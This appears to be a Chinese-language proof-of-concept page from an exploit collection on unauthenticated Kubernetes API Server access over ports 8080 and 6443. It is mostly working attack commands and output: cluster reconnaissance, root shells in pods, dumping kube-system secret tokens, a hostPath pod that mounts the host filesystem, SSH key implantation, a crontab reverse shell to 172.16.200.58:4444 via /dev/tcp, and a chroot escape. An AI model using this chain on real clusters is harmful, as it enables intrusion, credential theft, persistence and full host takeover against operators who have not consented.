Awesome-POC/云安全漏洞/Kubernetes API Server 未授权命令执行.md
2025-04-21 17:37:29 +08:00

255 lines
6.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Kubernetes API Server 未授权命令执行
## 漏洞描述
Kubernetes 是一个可以移植、可扩展的开源平台,使用 声明式的配置 并依据配置信息自动地执行容器化应用程序的管理。在所有的容器编排工具中(类似的还有 docker swarm / mesos 等Kubernetes 的生态系统更大、增长更快,有更多的支持、服务和工具可供用户选择。
K8s 的 API Server 默认服务端口为 8080(insecure-port) 和 6443(secure-port)8080 端口提供 HTTP 服务,没有认证授权机制,而 6443 端口提供 HTTPS 服务,支持认证 (使用令牌或客户端证书进行认证) 和授权服务。默认情况下 8080 端口不启动,而 6443 端口启动。这两个端口的开放取决于/etc/kubernetes/manifests/kube-apiserver.yaml 配置文件。
如果目标 K8s 的 8080 端口开启了,由于其没有认证授权机制,因此存在未授权访问。
如果目标 K8s 的 6443 端口开启了,如果配置错误,也可以导致存在未授权访问。
## 漏洞复现
### 8080 端口
默认情况下8080 端口关闭的,手动开启:
```
cd /etc/kubernetes/manifests
vim kube-apiserver.yaml
```
高版本的 k8s 中,将 --insecure-port 这个配置删除了,因此添加如下两行:
```
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
```
![image-20230215102911534](images/image-20230215102911534.png)
重启 k8s
```
systemctl restart kubectl
```
访问 8080 端口即可看到存在未授权:
![image-20230215110103802](images/image-20230215110103802.png)
也可以使用 kubectl 远程连接获得信息:
```
kubectl -s http://your-ip:8080 get nodes
```
在高版本1.20 及其以后)的 K8s 中直接禁用了该端口,并且无法打开。
### 6443 端口
如果运维人员配置不当,将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。
正常情况下访问 6443 端口,提示 Forbidden。
![image-20230215110607076](images/image-20230215110607076.png)
执行如下命令将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组:
```
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
```
再次访问访问 6443 端口,即可未授权访问。
## 漏洞利用
### 命令执行
#### 查看 k8s 集群信息
8080 端口
```
kubectl -s http://your-ip:8080 cluster-info
```
6443 端口
```
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ cluster-info
------
Please enter Username: test
Please enter Password:
Kubernetes control plane is running at https://172.22.14.37:6443/
KubeDNS is running at https://172.22.14.37:6443//api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
```
#### 查看 node 节点信息
8080 端口
```
# 查看node节点
kubectl -s http://your-ip:8080 get nodes
# 查看node节点详细信息
kubectl -s http://your-ip:8080 get nodes -o wide
```
6443 端口
```
# 查看node节点
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get nodes
Please enter Username:
Please enter Password:
------
NAME STATUS ROLES AGE VERSION
ubuntu-k8s Ready master 244d v1.16.6-beta.0
# 查看node节点详细信息
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get nodes -o wide
Please enter Username:
Please enter Password:
-----
NAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE KERNEL-VERSION CONTAINER-RUNTIME
ubuntu-k8s Ready master 244d v1.16.6-beta.0 172.22.14.37 <none> Ubuntu 18.04.6 LTS 4.15.0-213-generic docker://24.0.2
```
#### 查看 pod 节点信息
8080 端口
```
# 查看所有的pod
kubectl -s http://your-ip:8080 get pods -A
```
6443 端口
```
# 查看所有的pod
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -A
-----
Please enter Username:
Please enter Password:
NAMESPACE NAME READY STATUS RESTARTS AGE
default nginx-deployment 1/1 Running 0 16m
default nginx-deployment-58d48b746d-d6x8t 1/1 Running 3 240d
...
```
#### 执行其他命令
通过获取到的 pods 节点信息,进入对应 docker 命令执行。-n 对应的是 NAMESPACE-it 对应的是 NAME。
##### 8080 端口
```
# 进入命名空间为default名字为hello-minikube的容器
kubectl -s http://your-ip:8080 exec -n default -it hello-minikube -- /bin/bash
# 进入命名空间为kube-system名字为etcd-ubuntu的容器
kubectl -s http://your-ip:8080 exec -n kube-system -it etcd-ubuntu -- /bin/sh
```
##### 6443 端口
```
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment -- /bin/bash
-----
Please enter Username:
Please enter Password:
root@nginx-deployment:/# id
uid=0(root) gid=0(root) groups=0(root)
```
### 获取 Token 登录 dashboard
访问如下接口,即可看到 K8s 所有的 Token过滤找到 dashboard-admin 相关的 Token。
```
http://your-ip:8080/api/v1/namespaces/kube-system/secrets/
https://your-ip:6443/api/v1/namespaces/kube-system/secrets/
```
base64 解码,即可使用 base64 解码后的 Token 登录 K8s 的 dashboard。
### 获取宿主机权限
#### 创建 pod
创建名为 nginx-deployment 的 pod将宿主机的目录挂载到 /mnt 目录下。
新建 test.yaml 文件,内容如下:
```
apiVersion: v1
kind: Pod
metadata:
name: nginx-deployment
spec:
containers:
- image: nginx:1.8
name: container
volumeMounts:
- mountPath: /mnt
name: test
volumes:
- name: test
hostPath:
path: /
```
创建 pod 并查看运行情况:
```
kubectl --insecure-skip-tls-verify -s https://your-ip:6443/ apply -f test.yaml
-----
Please enter Username: test
Please enter Password: pod/nginx-deployment created
```
```
kubectl --insecure-skip-tls-verify -s https://your-ip:6443/ get pods
-----
Please enter Username: test
Please enter Password: NAME READY STATUS RESTARTS AGE
nginx-deployment 1/1 Running 0 12s
```
#### 写入 ssh 公钥
`/mnt/root/.ssh/authorized_keys` 写入公钥,即可获取宿主机 ssh 权限:
```
kubectl --insecure-skip-tls-verify -s https://your-ip:6443/ exec -it nginx-deployment /bin/bash
-----
root@nginx-deployment:/# echo "<YOUR_ID_RSA.PUB>" > /mnt/root/.ssh/authorized_keys
```
#### 定时任务反弹 shell
写入 crontab 来反弹获取 shell执行如下命令将反弹 shell 的命令写入 /var/spool/cron/root 文件中:
```
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.200.58/4444 0>&1" > root
```
nc 监听接收反弹 shell
```
$ nc -lvp 4444
```
#### chroot 逃逸
```
chroot /mnt
```